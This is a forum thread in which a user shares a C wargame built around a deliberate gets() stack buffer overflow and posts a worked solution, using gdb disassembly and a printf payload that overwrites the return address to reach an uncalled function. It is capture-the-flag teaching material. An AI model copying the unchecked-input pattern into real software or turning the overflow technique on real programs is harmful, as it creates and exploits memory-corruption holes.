Wargame - Simple - Competitions / Projects

chroniccommand

So here is a simple wargame I've whipped up in C. The idea is the user has to call a function that isnt called in the program. The way this is accomplished is with a buffer overflow. Here is the source of the wargame:


#include &lt;stdlib&#46;h&gt;
#include &lt;stdio&#46;h&gt;

NoCall()
{
    printf(\"Password&#58; 93x#L\n\");
    exit(0);
}

EvilInput()
{
  char evilbuffer&#91;8&#93;;
  printf(\"Insert text&#58; \");
  gets(evilbuffer);
  puts(evilbuffer);
}

main()
{
  EvilInput();
  return 0;
}

So the idea is we just give the compiled binary but not the source. We give the user a hint that the function they must call is NoCall()

So here is a sample solution:


&#91;chronic@vandal tmp&#93;$ &#46;/wargame
Insert text&#58; AAAAAAAAAAAAA
AAAAAAAAAAAAA
Segmentation fault
&#91;chronic@vandal tmp&#93;$ gdb wargame
GNU gdb (GDB) 7&#46;2
Copyright (C) 2010 Free Software Foundation, Inc&#46;
License GPLv3+&#58; GNU GPL version 3 or later &lt;http&#58;//gnu&#46;org/licenses/gpl&#46;html&gt;
This is free software&#58; you are free to change and redistribute it&#46;
There is NO WARRANTY, to the extent permitted by law&#46;  Type \"show copying\"
and \"show warranty\" for details&#46;
This GDB was configured as \"i686-pc-linux-gnu\"&#46;
For bug reporting instructions, please see&#58;
&lt;http&#58;//www&#46;gnu&#46;org/software/gdb/bugs/&gt;&#46;&#46;&#46;
Reading symbols from /tmp/wargame&#46;&#46;&#46;(no debugging symbols found)&#46;&#46;&#46;done&#46;
(gdb) list
No symbol table is loaded&#46;  Use the \"file\" command&#46;
(gdb) disas NoCall
Dump of assembler code for function NoCall&#58;
   0x08048434 &lt;+0&gt;&#58;     push   %ebp
   0x08048435 &lt;+1&gt;&#58;     mov    %esp,%ebp
   0x08048437 &lt;+3&gt;&#58;     sub    $0x4,%esp
   0x0804843a &lt;+6&gt;&#58;     mov    $0x8048550,%eax
   0x0804843f &lt;+11&gt;&#58;    mov    %eax,(%esp)                                                    
   0x08048442 &lt;+14&gt;&#58;    call   0x8048350 &lt;printf@plt&gt;                                         
   0x08048447 &lt;+19&gt;&#58;    movl   $0x0,(%esp)                                                    
   0x0804844e &lt;+26&gt;&#58;    call   0x8048370 &lt;exit@plt&gt;                                           
End of assembler dump&#46;                                                                        
(gdb) q                                                                                       
&#91;chronic@vandal tmp&#93;$ printf \"AAAAAAAAAAAA\x34\x84\x04\x08\" | &#46;/wargame
Insert text&#58; AAAAAAAAAAAA4ï¿½
Password&#58; 93x#L
&#91;chronic@vandal tmp&#93;$

Now printing the password to stdout isnt exactly the best solution. So I was thinking we could maybe use execve to execute a program like /bin/iexploit that displays the password.

Sh3llc0d3

I like the idea... bit more complex compared to other challenges :)

Xin

Nice Wargame, we have a nice little set now :)

chroniccommand

said:

Nice Wargame, we have a nice little set now :)

Thanks I'll probably work on a couple more pretty soon.

XinR

Where can i find what a "wargame" means?

Howdy, Stranger!

Top Posters

Who's Online (0)